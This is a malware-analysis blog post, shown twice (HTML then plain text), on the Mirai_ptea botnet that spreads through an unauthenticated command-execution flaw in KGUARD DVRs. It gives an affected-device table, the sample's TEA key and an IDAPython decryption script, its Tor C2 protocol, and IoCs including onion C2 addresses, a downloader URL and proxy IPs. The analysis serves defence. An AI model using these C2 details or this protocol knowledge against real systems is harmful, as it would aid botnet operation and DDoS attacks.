<td>D1116NR</td>
<td>HY-DVR</td>
<td>DM-295</td>
<td>LRA3160N</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HY-DVR</td>
<td>DM-299</td>
<td>1080P-HY16N</td>
</tr>
<tr>
<td>D1116NR</td>
<td>SDR-B75303</td>
<td>DM-295</td>
<td>SDR-B75303</td>
</tr>
<tr>
<td>D1132NR</td>
<td>HY-DVR</td>
<td>DM-300</td>
<td>1080P-HY32</td>
</tr>
<tr>
<td>D2116NR</td>
<td>SDR-B85300</td>
<td>DM-300</td>
<td>SDR-B85300</td>
</tr>
<tr>
<td>D973215U</td>
<td>F9-DVR32</td>
<td>DM-195</td>
<td>F9-DVR32</td>
</tr>
<tr>
<td>D9804AHD</td>
<td>DVR</td>
<td>DM-210</td>
<td>391115</td>
</tr>
<tr>
<td>D9804NAHD</td>
<td>AHD7-DVR4</td>
<td>DM-239</td>
<td>AHD7-DVR4</td>
</tr>
<tr>
<td>D9804NAHD</td>
<td>DVR</td>
<td>DM-239</td>
<td>720P-DVR04ND</td>
</tr>
<tr>
<td>D9804NAHD</td>
<td>NHDR</td>
<td>DM-239</td>
<td>NHDR-3104AHD-II</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>AHD7-DVR8</td>
<td>DM-228</td>
<td>AHD7-DVR8</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>DVR</td>
<td>DM-228</td>
<td></td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>DVR</td>
<td>DM-228</td>
<td>391116</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>NHDR</td>
<td>DM-228</td>
<td>NHDR-3108AHD-II</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>NHDR</td>
<td>DM-228</td>
<td>NHDR3108AHDII</td>
</tr>
<tr>
<td>D9816NAHD</td>
<td>DVR</td>
<td>DM-233</td>
<td>720P-DVR016N</td>
</tr>
<tr>
<td>D9816NAHD</td>
<td>NHDR</td>
<td>DM-233</td>
<td>NHDR3116AHDII</td>
</tr>
<tr>
<td>D9816NRAHD</td>
<td>AHD7-DVR16</td>
<td>DM-229</td>
<td>AHD7-DVR16</td>
</tr>
<tr>
<td>D9816NRAHD</td>
<td>DVR</td>
<td>DM-229</td>
<td>720P-DVR016NB</td>
</tr>
<tr>
<td>D9904</td>
<td>D9904</td>
<td>DM-237</td>
<td>1080P-DVR04</td>
</tr>
<tr>
<td>D9904</td>
<td>DVR</td>
<td>DM-237</td>
<td>1080P-DVR04</td>
</tr>
<tr>
<td>D9904</td>
<td>NHDR</td>
<td>DM-237</td>
<td>NHDR-5204AHD</td>
</tr>
<tr>
<td>D9904NR</td>
<td>DVR</td>
<td>DM-244</td>
<td>1080P-DVR04N</td>
</tr>
<tr>
<td>D9904NR</td>
<td>DVR</td>
<td>DM-244</td>
<td>BCS-VAVR0401M</td>
</tr>
<tr>
<td>D9904NR</td>
<td>HY-DVR</td>
<td>DM-244</td>
<td>CVD-AF04S</td>
</tr>
<tr>
<td>D9904NR</td>
<td>N420</td>
<td>DM-244</td>
<td>1080P-DVR04N</td>
</tr>
<tr>
<td>D9904NR</td>
<td>NHDR</td>
<td>DM-244</td>
<td>NHDR-5004AHD-II</td>
</tr>
<tr>
<td>D9904NR</td>
<td>NHDR</td>
<td>DM-244</td>
<td>NHDR5004AHDII</td>
</tr>
<tr>
<td>D9908</td>
<td>DVR</td>
<td>DM-245</td>
<td>BCS-VAVR0802Q</td>
</tr>
<tr>
<td>D9908</td>
<td>NHDR</td>
<td>DM-245</td>
<td>NHDR-5208AHD</td>
</tr>
<tr>
<td>D9908AHD</td>
<td>DVR</td>
<td>DM-246</td>
<td>1080P-DVR08A</td>
</tr>
<tr>
<td>D9908NR</td>
<td>AHD10-DVR8</td>
<td>DM-237</td>
<td>AHD10-DVR8</td>
</tr>
<tr>
<td>D9908NR</td>
<td>DVR</td>
<td>DM-237</td>
<td>1080P-DVR08N</td>
</tr>
<tr>
<td>D9908NR</td>
<td>DVR</td>
<td>DM-237</td>
<td>SVR9008ATHD/C</td>
</tr>
<tr>
<td>D9908NR</td>
<td>HY-DVR</td>
<td>DM-237</td>
<td>CVD-AF08S</td>
</tr>
<tr>
<td>D9908NR</td>
<td>N820</td>
<td>DM-237</td>
<td>1080P-DVR08N</td>
</tr>
<tr>
<td>D9908NR</td>
<td>NHDR</td>
<td>DM-237</td>
<td>NHDR-5008AHD-II</td>
</tr>
<tr>
<td>D9916NR</td>
<td>DVR</td>
<td>DM-245</td>
<td>1080P-DVR016NAT;UI</td>
</tr>
<tr>
<td>D9916NR</td>
<td>DVR</td>
<td>DM-245</td>
<td>HR-31-211620;UI</td>
</tr>
<tr>
<td>D9916NR</td>
<td>HY-DVR</td>
<td>DM-245</td>
<td>CVD-AF16S</td>
</tr>
<tr>
<td>D9916NR</td>
<td>NHDR</td>
<td>DM-245</td>
<td>NHDR-5016AHD-II</td>
</tr>
<tr>
<td>D9916NRAHD</td>
<td>DVR</td>
<td>DM-246</td>
<td>1080P-DVR016NA</td>
</tr>
<tr>
<td>D9916NRAHD</td>
<td>N1620</td>
<td>DM-246</td>
<td>1080P-DVR016NA</td>
</tr>
<tr>
<td>H1104W</td>
<td>SNR-73200W</td>
<td>DM-339</td>
<td>SNR-73200W</td>
</tr>
<tr>
<td>H1106W</td>
<td>LHB806</td>
<td>DM-291B</td>
<td>LHB806</td>
</tr>
<tr>
<td>H1106W</td>
<td>LHB906</td>
<td>DM-291B</td>
<td>LHB906</td>
</tr>
</tbody>
</table>
<h1 id="botscaleanalysis">Bot scale analysis</h1>
<p>We are able to see a portion of the infected bots, the following is a daily active trend：</p>
<p><img src="__GHOST_URL__/content/images/2021/06/Snip202110630_10.png" alt="Snip202110630_10" loading="lazy"></p>
<p>The geographic distribution of Bot source IPs is as follows, mainly concentrated in the United States, Korea and Brazi：<br>
<img src="__GHOST_URL__/content/images/2021/06/Snip20210629_1.png" alt="Snip20210629_1" loading="lazy"></p>
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>Let’s take a look a the the following samples</p>
<pre><code>Verdict:mirai_ptea
MD5:c6ef442bc804fc5290d3617056492d4b
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
</code></pre>
<p><code>c6ef442bc804fc5290d3617056492d4b</code> is a variant of Mirai, which we call <code>Mirai_ptea</code> based on its use of Tor Proxy to communicate with C2 and the TEA algorithm (Tiny Encryption Algorithm) to hide sensitive resource information. When ptea runs, it prints out in the Console: <code>come at me krebs rimasuta go BRRT</code>.</p>
<p>This sample is very similar to Mirai at the host behavior level, so we will not cover it here; At the network traffic level, Tor proxy is used, with a large number of proxy nodes embedded in the sample, and Tor-C2 is encrypted. In the following section we will focus on the encryption method and communication protocol.</p>
<h1 id="encryptionalgorithm">Encryption algorithm</h1>
<p><code>Mirai_ptea</code> encrypts all sensitive resource information and stores it in a certain order. The string information seen when the sample is opened in IDA is shown below, with almost no readable information.</p>
<p><img src="__GHOST_URL__/content/images/2021/06/ptea_strtab.png" alt="ptea_strtab" loading="lazy"></p>
<p>The following code snippet is from the decryption-related functions in the sample, which can be determined to use the TEA algorithm by the constants <code>0xC6EF3720 & 0X61C88647</code>.</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_tea.png" width="860px" />
<p>The key is：</p>
<pre><code>0xC26F6A52 0x24AA0006 0x8E1BF2C5 0x4BA51F8C
</code></pre>
<p>We wrote a decryption script(<a href="#decrypt_str"><strong>see appendix</strong></a>), through which we can obtain all the decrypted sensitive resources and their table entry information, part of the resource information is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_decinfo.png" width="860px" />
<p>Mirai_ptea has two ways of operation when using encrypted resources</p>
<ul>
<li><strong>The traditional Mirai way</strong>: Decrypt an encrypted item, take the value, re-encrypt the decrypted item, i.e. <code>var_unlock-->var_get-->var_lock</code>. For example, the console information is taken by this method.<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_var.png" alt="ptea_strtab" loading="lazy"></li>
</ul>
<p>The value of table entry 0x11 is exactly: <code>come at me krebs rimasuta go BRRT</code>.</p>
<ul>
<li><strong>Mirai_ptea’s way</strong>: Decrypt multiple encrypted items, taking the value, and re-encrypt the decrypted items, i.e. <code>rangeVar_unlock-->var_get-->rangeVar_lock</code>. For example, this method is used when getting the disguised process name.<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_rangevar.png" alt="ptea_strtab" loading="lazy"></li>
</ul>
<p>The values of the table entries 0x2c to 0x2c+10 shown below are the exact 11 pseudo-process names that can be chosen.</p>
<pre><code>index 0x2c, value = /bin/sh
index 0x2d, value = telnetd
index 0x2e, value = upnpc-static
index 0x2f, value = wsdd
index 0x30, value = proftpd
index 0x31, value = mini_httpd
index 0x32, value = udevd
index 0x33, value = /sbin/udhcpc
index 0x34, value = boa
index 0x35, value = /usr/sbin/inetd
index 0x36, value = dnsmasq
</code></pre>
<h1 id="communicationprotocol">Communication Protocol</h1>
<p>An overview of the network traffic in Mirai_ptea is provided below.</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_network.png" width="860px" />
<p>The whole process can be divided into 3 steps as follows.</p>
<p>1: Establishing a connection with the proxy node</p>
<p>2: Establishing a connection with Tor C2</p>
<p>3: Communicate with C2 via ptea's custom protocol to receive attack commands from C2.</p>
<h3 id="0x1establishingaconnectionwiththeproxy">0x1.Establishing a connection with the proxy</h3>
<p>The Mirai_ptea sample has two sets of proxies built into it, with table entries <code>0x2a and 0x2b</code> in the encrypted resource. When the Bot sample runs, one of the two sets of proxies is selected at random, and then one proxy node of the selected sets is connected by the following code snippet.</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_proxy.png" width="860px" />
<p>There are 38 proxy nodes in <code>0x2a</code> in the format of <code>ip:port</code></p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_0x2a.png" width="860px" />
<p>And there are 334 proxy nodes in <code>0x2b</code>, in the format of <code>ip</code>, and the port of this group of proxies is fixed at <code>9050</code>.</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_0x2b.png" width="860px" />
<p>See the appendix for a detailed list of proxies.</p>
<h3 id="0x2connectingtoc2viathetorproxyprotocol">0x2. Connecting to C2 via the Tor-Proxy protocol</h3>
<p><img src="__GHOST_URL__/content/images/2021/06/ptea_c2.png" alt="ptea_strtab" loading="lazy"></p>
<p>You can see that C2 has the table entry <code>0xD</code> in the encrypted resource, and after decrypting it, get the following string.</p>
<pre><code>rkz2f5u57cvs3kdt6amdku2uhly2esj7m2336dttvcygloivcgsmxjjnuickasbuatxajrovi4lvd2zjuejivzrb3vobuoezbc6z3gtu6b3r5tce.onion
</code></pre>
<p>Excluding the <code>.onion</code> at the end of the above string and splitting it by length 16, then splicing it with the <code>.onion</code> string at the end, we get the following 7 C2s.</p>
<pre><code>rkz2f5u57cvs3kdt.onion
6amdku2uhly2esj7.onion
m2336dttvcygloiv.onion
cgsmxjjnuickasbu.onion
atxajrovi4lvd2zj.onion
uejivzrb3vobuoez.onion
bc6z3gtu6b3r5tce.onion
</code></pre>
<h3 id="0x3communicatewiththec2sviacustomprotocolsforregistrationheartbeatandattackasfollows">0x3. Communicate with the C2s via custom protocols for registration, heartbeat, and attack as follows</h3>
<ul>
<li>Registration<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_reg.png" width="860px" /></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
3e c7 e3 1e 37 47 61 20 ----->hardcoded msg from Bot
b1 2f de ce cb 89 e1 a0 ----->cmd from C2,ask Bot to upload info
3a 31 34 b5 02 00 ----->hardcoded 6 bytes msg from Bot
b4 a3 e1 16 ----->ip of infected device
04 ----->group string length
74 65 73 74 ----->group string
79 ----->padding
</code></pre>
<ul>
<li>Heartbeat<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_heart.png" width="860px" /></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
2a 23 -----> random 2 bytes msg from Bot
2a 23 -----> random 2 bytes msg from C2
</code></pre>
<ul>
<li>Attack command The first 4 bytes of the attack command, <code>AD AF FE 7F</code> are fixed phantom numbers, and the rest of the attack command is similar to mirai's attack command format</li>
</ul>
<pre><code>00000000: AD AF FE 7F 1E 00 00 00 00 01 B9 98 42 65 20 00 ............Be .
00000010: 42 65 20 00
</code></pre>
<h1 id="ddosattackactivity">DDoS attack activity</h1>
<p>This botnet has been busy launching DDoS attacks, the following figure shows some DDoS attack instructions of the botnet that we observed.<br>
<a href="__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4c.png"><img src="__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4.png" class="kg-image"/></a></p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> , or email to <code>netlabat[at]360.cn</code>.</p>
<h1 id="ioc">IoC</h1>
<h2 id="torc2">Tor-C2</h2>
<pre><code>bc6z3gtu6b3r5tce.onion:3742
cgsmxjjnuickasbu.onion:992
uejivzrb3vobuoez.onion:5353
rkz2f5u57cvs3kdt.onion:280
atxajrovi4lvd2zj.onion:110
6amdku2uhly2esj7.onion:513
m2336dttvcygloiv.onion:666
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>c6ef442bc804fc5290d3617056492d4b
f849fdd79d433e2828473f258ffddaab
</code></pre>
<h2 id="downloaderurl">Downloader URL</h2>
<pre><code>http://193[.177.182.221/boot
</code></pre>
<h2 id="scannerip">Scanner IP</h2>
<pre><code>205.185.117.21 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
205.185.114.55 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
68.183.109.6 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
67.205.163.141 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
165.227.88.215 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
</code></pre>
<h2 id="proxys">Proxys</h2>
<pre><code>---------proxys at index 0x2a，count=38---------
149.202.9.7:9898
91.134.216.103:16358
84.32.188.34:1157
51.178.185.237:32
65.21.16.80:23560
149.202.9.14:19765
146.59.11.109:5089
195.189.96.61:29582
84.32.188.37:1454
51.195.209.80:26848
5.199.174.242:27931
95.179.158.147:22413
146.59.11.103:1701
185.150.117.10:29086
149.56.154.210:24709
135.148.11.151:3563
51.195.152.255:25107
45.79.193.124:7158
135.148.11.150:5560
185.150.117.41:20790
135.125.250.120:14498
172.106.70.135:692
195.189.96.60:9700
172.106.70.134:25054
149.56.154.211:21299
108.61.218.205:29240
51.178.185.236:21685
51.81.139.251:6255
51.255.237.164:963
51.81.139.249:32380
139.162.45.218:5165
65.21.16.94:28056
207.148.74.163:32389
172.104.100.78:1039
45.32.8.100:19759
141.164.46.133:2205
172.105.36.167:10843
172.105.180.239:19531
---------proxys at index 0x2b，count=334，port=9050---------
Too many, not list here, you can get them via the IDA script
</code></pre>
<h1 id="aiddecrypt_strappendixidadecryptscripta"><a id="decrypt_str">Appendix（IDA Decrypt script）</a></h1>
<pre><code># IDAPYTHON SCRIPT for md5 c6ef442bc804fc5290d3617056492d4b only.
# Tested at ida 7.0
from ctypes import *
import struct
print "-------------------decryption start------------------------"
key=[0xC26F6A52,0x24AA0006,0x8E1BF2C5,0x4BA51F8C]
def tea_dec(buf,key):
rbuf=""
fmt = '>' + str(len(buf)/4) + 'I'
tbuf= struct.unpack_from(fmt,buf)
j=0
for i in range(0,len(tbuf)/2):
v1=c_uint32(tbuf[i+j])
v2=c_uint32(tbuf[i+1+j])
sum=c_uint32(0xC6EF3720)
while(sum.value):
v2.value -= ((v1.value>>5)+key[3]) ^(v1.value+sum.value)^ ((v1.value<<4)+key[2])
v1.value -= ((v2.value>>5)+key[1]) ^(v2.value+sum.value)^ ((v2.value<<4)+key[0])
sum.value+=0x61C88647
rbuf +=struct.pack(">I",v1.value)+struct.pack(">I",v2.value)
j+=1
return rbuf
def getbuff(addr):
buf = ""
while idc.get_bytes(addr, 2) != "\x00\x00":
buf += idc.get_bytes(addr, 1)
addr += 1
return buf
# pay attention to function at 0x0000D074
a=getbuff(idc.get_wide_dword(0x00019C9C))
buf=[]
#0x19c9c-0x199f0 --> 684
for i in range(0,684,12):
offset=idc.get_wide_word(0x000199F4+i)
length=idc.get_wide_word(0x000199F4+i+2)
buf.append(a[offset:offset+length])
c2=[]
#684/12 --> 57
for i in range(57):
decbuf=tea_dec(buf[i],key)
if(".onion" in decbuf):
c2.append(decbuf)
print "index %x, value = %s" %(i,decbuf)
print "-------------------decryption end---------------"
proxya=tea_dec(buf[0x2a],key)
pacnt=struct.unpack("<H",proxya[2:4])
proxy=[]
port=[]
tmp=proxya[4:4+6*(pacnt[0])]
print "------------proxys at index 0x2A, count= %d------------" %(pacnt[0])
for i in range(0,len(tmp),6):
proxy.append(struct.unpack(">I",tmp[i:i+4])[0])
port.append(struct.unpack("<H",tmp[i+4:i+6])[0])
for i in range(pacnt[0]):
a=struct.pack(">I",proxy[i])
ip=""
for j in range(4):
ip+=str(ord(a[j]))
if j!=3:
ip+="."
print"%s:%d" %(ip,port[i])
proxyb=tea_dec(buf[0x2b],key)
pbcnt=struct.unpack("<H",proxyb[2:4])
fmt = '>' + str(pbcnt[0]) + 'I'
tmp=proxyb[4:4*(pbcnt[0]+1)]
print "------------proxys at index 0x2B, count= %d------------" %(pbcnt[0])
xxxxx=struct.unpack(fmt,tmp)
for i in xxxxx:
a=struct.pack(">I",i)
ip=""
for i in range(4):
ip+=str(ord(a[i]))
if i!=3:
ip+="."
print ip
print "-------------------------onion info--------------"
if len(c2)!=0:
for i in c2:
pos=i.find(".onion")
for j in range(0,pos,16):
print i[j:16+j]+".onion"
else:
print "Don't find the onion c2"
</code></pre>
<!--kg-card-end: markdown--> | Overview
On 2021-06-22 we detected a sample of a mirai variant that we named mirai_ptea propagating through a new vulnerability targeting KGUARD DVR. Coincidently, a day later, on June 23, we received an inquiry from the security community asking if we had seen a new DDoS botnet, cross-referencing some data, it was exactly this botnet that we had just discovered.
Timeline
* 2021-03-22 Our historical data indicates the first probe against this vulnerability
* 2021-06-22 We observed the mirai_ptea sample exploiting this vulnerability to spread
* 2021-06-23 We got a tip from the security community that this botnet was being used for ongoing DDoS attacks.
* 2021-06-25 mirai_aurora, another mirai variant, starts to use this vulnerability to propagate
Vulnerability analysis
Given that we have not found public information on this vulnerability, we will hide some of the key information here to prevent the vulnerability from being further abused.
One program on the KGUARD DVR firmware listens on port ***** at 0.0.0.0 to remotely execute system commands without authentication. The firmware released after 2017 seems to have this fixed by modifying the listening address to 127.0.0.1. Some of the exploited payloads are as follows.
Analysis of affected devices
We have discovered at least 3,000 or so online devices still have the vulnerability. The affected devices are as follows:
DeviceType
ProductType
HardVersion
DefDeviceName
D1004NR
DVR4-1600
DM-268A
DVR4-1600
D1004NR
HY-DVR
DM-268
720P-HY04N
D1004NR
HY-DVR
DM-268A
720P-HY04N
D1004NR
HY-DVR
DM-274
720P-HY04N
D1004NR
HY-DVR
DM-274B
720P-HY04N
D1004NR
NHDR
DM-274
NHDR-3204AHD
D1004NR
RL-AHD4n
DM-268
720P-HY04N
D1008NR
1093/508N-DVRBM08H
DM-292
720P-HY08N
D1008NR
DVR8-1600
DM-298
DVR8-1600
D1008NR
DVR8-HDA10L
DM-292
DVR8-HDA10L
D1008NR
HD881
DM-292
HD881
D1008NR
HY-DVR
DM-292
720P-HY08N
D1008NR
HY-DVR
DM-298
720P-HY08N
D1008NR
NHDR
DM-298
NHDR-3208AHD
D1008NR
RL-AHD8n
DM-292
720P-HY08N
D1016NR
DVR16-HDA10L
DM-303
DVR16-HDA10L
D1016NR
HD1681
DM-303
HD1681
D1016NR
HY-DVR
DM-303A
720P-HY16N
D1016NR
HY-DVR
DM-310
720P-HY16N
D1016NR
HY-DVR
DM-310A
720P-HY16N
D1016NR
NHDR
DM-310
NHDR-3216AHD
D1016NR
RL-MHD16n(21A)
DM-310A
720P-HY16N
D1104
HY-DVR
DM-290A
1080P-HY04
D1104
NHDR
DM-307
NHDR-5304AHD
D1104NR
HD1T4
DM-291A
1080P-04
D1104NR
HD481
DM-291
HD481
D1104NR
HRD-E430L
DM-291A
HRD-E430L
D1104NR
HY-DVR
DM-284
1080P-HY04N
D1104NR
HY-DVR
DM-291
"Panda
D1104NR
HY-DVR
DM-291
1080P-HY04N
D1104NR
HY-DVR
DM-291A
1080P-HY04N
D1104NR
HY-DVR
DM-291C
LRA3040N
D1104NR
NHDR
DM-307
NHDR-5104AHD
D1104NR
SDR-B73303
DM-291A
SDR-B73303
D1104NR
SVR9204H
DM-291A
1080P-HY04N
D1108NR
1093/538P
DM-290
1080P-HY08N
D1108NR
DVR8-4575
DM-290
DVR8-4575
D1108NR
DVR8-HDA10P
DM-290
DVR8-HDA10P
D1108NR
HRD-E830L
DM-290A
HRD-E830L
D1108NR
HY-DVR
DM-290
1080P-HY08N
D1108NR
HY-DVR
DM-290A
1080P-HY08N
D1108NR
HY-DVR
DM-290A
LRA3080N
D1108NR
NHDR
DM-307
NHDR-5108AHD
D1108NR
RL-AHD8p
DM-290
1080P-HY08N
D1108NR
SDR-B74301
DM-290A
SDR-B74301
D1108NR
SDR-B74303
DM-290A
SDR-B74303
D1116
HY-DVR
DM-300
EHR-5164
D1116NR
HRD-E1630L
DM-295
HRD-E1630L
D1116NR
HY-DVR
DM-295
1080P-HY16N
D1116NR
HY-DVR
DM-295
LRA3160N
D1116NR
HY-DVR
DM-299
1080P-HY16N
D1116NR
SDR-B75303
DM-295
SDR-B75303
D1132NR
HY-DVR
DM-300
1080P-HY32
D2116NR
SDR-B85300
DM-300
SDR-B85300
D973215U
F9-DVR32
DM-195
F9-DVR32
D9804AHD
DVR
DM-210
391115
D9804NAHD
AHD7-DVR4
DM-239
AHD7-DVR4
D9804NAHD
DVR
DM-239
720P-DVR04ND
D9804NAHD
NHDR
DM-239
NHDR-3104AHD-II
D9808NRAHD
AHD7-DVR8
DM-228
AHD7-DVR8
D9808NRAHD
DVR
DM-228
D9808NRAHD
DVR
DM-228
391116
D9808NRAHD
NHDR
DM-228
NHDR-3108AHD-II
D9808NRAHD
NHDR
DM-228
NHDR3108AHDII
D9816NAHD
DVR
DM-233
720P-DVR016N
D9816NAHD
NHDR
DM-233
NHDR3116AHDII
D9816NRAHD
AHD7-DVR16
DM-229
AHD7-DVR16
D9816NRAHD
DVR
DM-229
720P-DVR016NB
D9904
D9904
DM-237
1080P-DVR04
D9904
DVR
DM-237
1080P-DVR04
D9904
NHDR
DM-237
NHDR-5204AHD
D9904NR
DVR
DM-244
1080P-DVR04N
D9904NR
DVR
DM-244
BCS-VAVR0401M
D9904NR
HY-DVR
DM-244
CVD-AF04S
D9904NR
N420
DM-244
1080P-DVR04N
D9904NR
NHDR
DM-244
NHDR-5004AHD-II
D9904NR
NHDR
DM-244
NHDR5004AHDII
D9908
DVR
DM-245
BCS-VAVR0802Q
D9908
NHDR
DM-245
NHDR-5208AHD
D9908AHD
DVR
DM-246
1080P-DVR08A
D9908NR
AHD10-DVR8
DM-237
AHD10-DVR8
D9908NR
DVR
DM-237
1080P-DVR08N
D9908NR
DVR
DM-237
SVR9008ATHD/C
D9908NR
HY-DVR
DM-237
CVD-AF08S
D9908NR
N820
DM-237
1080P-DVR08N
D9908NR
NHDR
DM-237
NHDR-5008AHD-II
D9916NR
DVR
DM-245
1080P-DVR016NAT;UI
D9916NR
DVR
DM-245
HR-31-211620;UI
D9916NR
HY-DVR
DM-245
CVD-AF16S
D9916NR
NHDR
DM-245
NHDR-5016AHD-II
D9916NRAHD
DVR
DM-246
1080P-DVR016NA
D9916NRAHD
N1620
DM-246
1080P-DVR016NA
H1104W
SNR-73200W
DM-339
SNR-73200W
H1106W
LHB806
DM-291B
LHB806
H1106W
LHB906
DM-291B
LHB906
Bot scale analysis
We are able to see a portion of the infected bots, the following is a daily active trend：
The geographic distribution of Bot source IPs is as follows, mainly concentrated in the United States, Korea and Brazi：
Sample Analysis
Let’s take a look a the the following samples
Verdict:mirai_ptea
MD5:c6ef442bc804fc5290d3617056492d4b
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
c6ef442bc804fc5290d3617056492d4b is a variant of Mirai, which we call Mirai_ptea based on its use of Tor Proxy to communicate with C2 and the TEA algorithm (Tiny Encryption Algorithm) to hide sensitive resource information. When ptea runs, it prints out in the Console: come at me krebs rimasuta go BRRT.
This sample is very similar to Mirai at the host behavior level, so we will not cover it here; At the network traffic level, Tor proxy is used, with a large number of proxy nodes embedded in the sample, and Tor-C2 is encrypted. In the following section we will focus on the encryption method and communication protocol.
Encryption algorithm
Mirai_ptea encrypts all sensitive resource information and stores it in a certain order. The string information seen when the sample is opened in IDA is shown below, with almost no readable information.
The following code snippet is from the decryption-related functions in the sample, which can be determined to use the TEA algorithm by the constants 0xC6EF3720 & 0X61C88647.
The key is：
0xC26F6A52 0x24AA0006 0x8E1BF2C5 0x4BA51F8C
We wrote a decryption script(see appendix), through which we can obtain all the decrypted sensitive resources and their table entry information, part of the resource information is shown below.
Mirai_ptea has two ways of operation when using encrypted resources
* The traditional Mirai way: Decrypt an encrypted item, take the value, re-encrypt the decrypted item, i.e. var_unlock-->var_get-->var_lock. For example, the console information is taken by this method.
The value of table entry 0x11 is exactly: come at me krebs rimasuta go BRRT.
* Mirai_ptea’s way: Decrypt multiple encrypted items, taking the value, and re-encrypt the decrypted items, i.e. rangeVar_unlock-->var_get-->rangeVar_lock. For example, this method is used when getting the disguised process name.
The values of the table entries 0x2c to 0x2c+10 shown below are the exact 11 pseudo-process names that can be chosen.
index 0x2c, value = /bin/sh
index 0x2d, value = telnetd
index 0x2e, value = upnpc-static
index 0x2f, value = wsdd
index 0x30, value = proftpd
index 0x31, value = mini_httpd
index 0x32, value = udevd
index 0x33, value = /sbin/udhcpc
index 0x34, value = boa
index 0x35, value = /usr/sbin/inetd
index 0x36, value = dnsmasq
Communication Protocol
An overview of the network traffic in Mirai_ptea is provided below.
The whole process can be divided into 3 steps as follows.
1: Establishing a connection with the proxy node
2: Establishing a connection with Tor C2
3: Communicate with C2 via ptea's custom protocol to receive attack commands from C2.
0x1.Establishing a connection with the proxy
The Mirai_ptea sample has two sets of proxies built into it, with table entries 0x2a and 0x2b in the encrypted resource. When the Bot sample runs, one of the two sets of proxies is selected at random, and then one proxy node of the selected sets is connected by the following code snippet.
There are 38 proxy nodes in 0x2a in the format of ip:port
And there are 334 proxy nodes in 0x2b, in the format of ip, and the port of this group of proxies is fixed at 9050.
See the appendix for a detailed list of proxies.
0x2. Connecting to C2 via the Tor-Proxy protocol
You can see that C2 has the table entry 0xD in the encrypted resource, and after decrypting it, get the following string.
rkz2f5u57cvs3kdt6amdku2uhly2esj7m2336dttvcygloivcgsmxjjnuickasbuatxajrovi4lvd2zjuejivzrb3vobuoezbc6z3gtu6b3r5tce.onion
Excluding the .onion at the end of the above string and splitting it by length 16, then splicing it with the .onion string at the end, we get the following 7 C2s.
rkz2f5u57cvs3kdt.onion
6amdku2uhly2esj7.onion
m2336dttvcygloiv.onion
cgsmxjjnuickasbu.onion
atxajrovi4lvd2zj.onion
uejivzrb3vobuoez.onion
bc6z3gtu6b3r5tce.onion
0x3. Communicate with the C2s via custom protocols for registration, heartbeat, and attack as follows
* Registration
msg parsing
----------------------------------------------------------------
3e c7 e3 1e 37 47 61 20 ----->hardcoded msg from Bot
b1 2f de ce cb 89 e1 a0 ----->cmd from C2,ask Bot to upload info
3a 31 34 b5 02 00 ----->hardcoded 6 bytes msg from Bot
b4 a3 e1 16 ----->ip of infected device
04 ----->group string length
74 65 73 74 ----->group string
79 ----->padding
* Heartbeat
msg parsing
----------------------------------------------------------------
2a 23 -----> random 2 bytes msg from Bot
2a 23 -----> random 2 bytes msg from C2
* Attack command The first 4 bytes of the attack command, AD AF FE 7F are fixed phantom numbers, and the rest of the attack command is similar to mirai's attack command format
00000000: AD AF FE 7F 1E 00 00 00 00 01 B9 98 42 65 20 00 ............Be .
00000010: 42 65 20 00
DDoS attack activity
This botnet has been busy launching DDoS attacks, the following figure shows some DDoS attack instructions of the botnet that we observed.
Contact us
Readers are always welcomed to reach us on twitter , or email to netlabat[at]360.cn.
IoC
Tor-C2
bc6z3gtu6b3r5tce.onion:3742
cgsmxjjnuickasbu.onion:992
uejivzrb3vobuoez.onion:5353
rkz2f5u57cvs3kdt.onion:280
atxajrovi4lvd2zj.onion:110
6amdku2uhly2esj7.onion:513
m2336dttvcygloiv.onion:666
Sample MD5
c6ef442bc804fc5290d3617056492d4b
f849fdd79d433e2828473f258ffddaab
Downloader URL
http://193[.177.182.221/boot
Scanner IP
205.185.117.21 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
205.185.114.55 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
68.183.109.6 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
67.205.163.141 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
165.227.88.215 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
Proxys
---------proxys at index 0x2a，count=38---------
149.202.9.7:9898
91.134.216.103:16358
84.32.188.34:1157
51.178.185.237:32
65.21.16.80:23560
149.202.9.14:19765
146.59.11.109:5089
195.189.96.61:29582
84.32.188.37:1454
51.195.209.80:26848
5.199.174.242:27931
95.179.158.147:22413
146.59.11.103:1701
185.150.117.10:29086
149.56.154.210:24709
135.148.11.151:3563
51.195.152.255:25107
45.79.193.124:7158
135.148.11.150:5560
185.150.117.41:20790
135.125.250.120:14498
172.106.70.135:692
195.189.96.60:9700
172.106.70.134:25054
149.56.154.211:21299
108.61.218.205:29240
